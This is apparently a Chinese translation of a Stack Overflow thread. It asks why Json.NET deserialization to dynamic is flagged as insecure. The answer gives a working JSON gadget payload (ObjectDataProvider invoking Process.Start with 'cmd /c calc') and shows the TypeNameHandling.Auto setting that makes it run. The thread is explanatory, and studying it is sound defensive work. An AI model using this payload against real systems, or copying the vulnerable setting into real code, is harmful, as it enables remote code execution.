使用Json.NET的不安全反序列化

14

一款静态安全扫描工具在我的 C# 代码中标记了这一行:

var result = JsonConvert.DeserializeObject<dynamic>(response);

response 将包含来自 Web API 的 JSON 响应。

扫描程序将其标记为“不安全的反序列化”。

有人可以帮我理解如何利用这一点吗?Web 示例并没有真正清楚地说明利用是否可以发生在 DeserializeObject 方法内部,还是仅在反序列化之后。


你考虑过 <动态> 部分吗? - ChrisBint
1
是哪个扫描器?我只能推测它对反序列化为动态对象的响应感到不满,这意味着您将反序列化您收到的任何内容。但我非常确定那不会产生任何可执行的东西。 - Martin
据我所知,该漏洞仅存在于DeserializeObject方法的非通用版本中(但可能也存在于动态类型中)。请在此处查看更多详细信息:https://youtu.be/oUAeWhW5b8c?t=471。 - Artur
尽管这样的分析工具可以提供有用的分析,但我曾经遇到过情况,即标志的确切原因并没有明确说明。如果是人拒绝了它,他们会更清楚地解释为什么,但扫描仪的“思考”可能是不透明的,这意味着机器人霸主不告诉我们为什么不高兴。 - Scott Hannen
1
可能是Newtonsoft Json中TypeNameHandling的注意事项的重复问题。 - Scott Hannen
显示剩余3条评论
1个回答

23

尝试对此 JSON 进行反序列化:

{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": [ "cmd", "/c calc" ]
    },
    "ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}

使用这段代码

dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.Auto
});

它将打开Windows计算器应用程序。任何可执行文件或脚本都可以运行同样的方式。如果您使用 object 而不是 dynamic 或非泛型的 DeserializeObject 方法,则问题仍然存在。请注意,如果您不设置 TypeNameHandling = TypeNameHandling.Auto ,其他人可能会像这样设置全局设置:

<code><code><code>JsonConvert.DefaultSettings = () => 
    new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};
</code></code></code>

这是一个很好的解释!虽然我明白如果 TrustedType 设置为 object 或 dynamic,它将会是易受攻击的。但如果像这行代码中使用 "JObject" 作为 TrustedType,例如 JsonConvert.DeserializeObject<JObject>(jsonString),它是否会有漏洞呢? - shashi

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接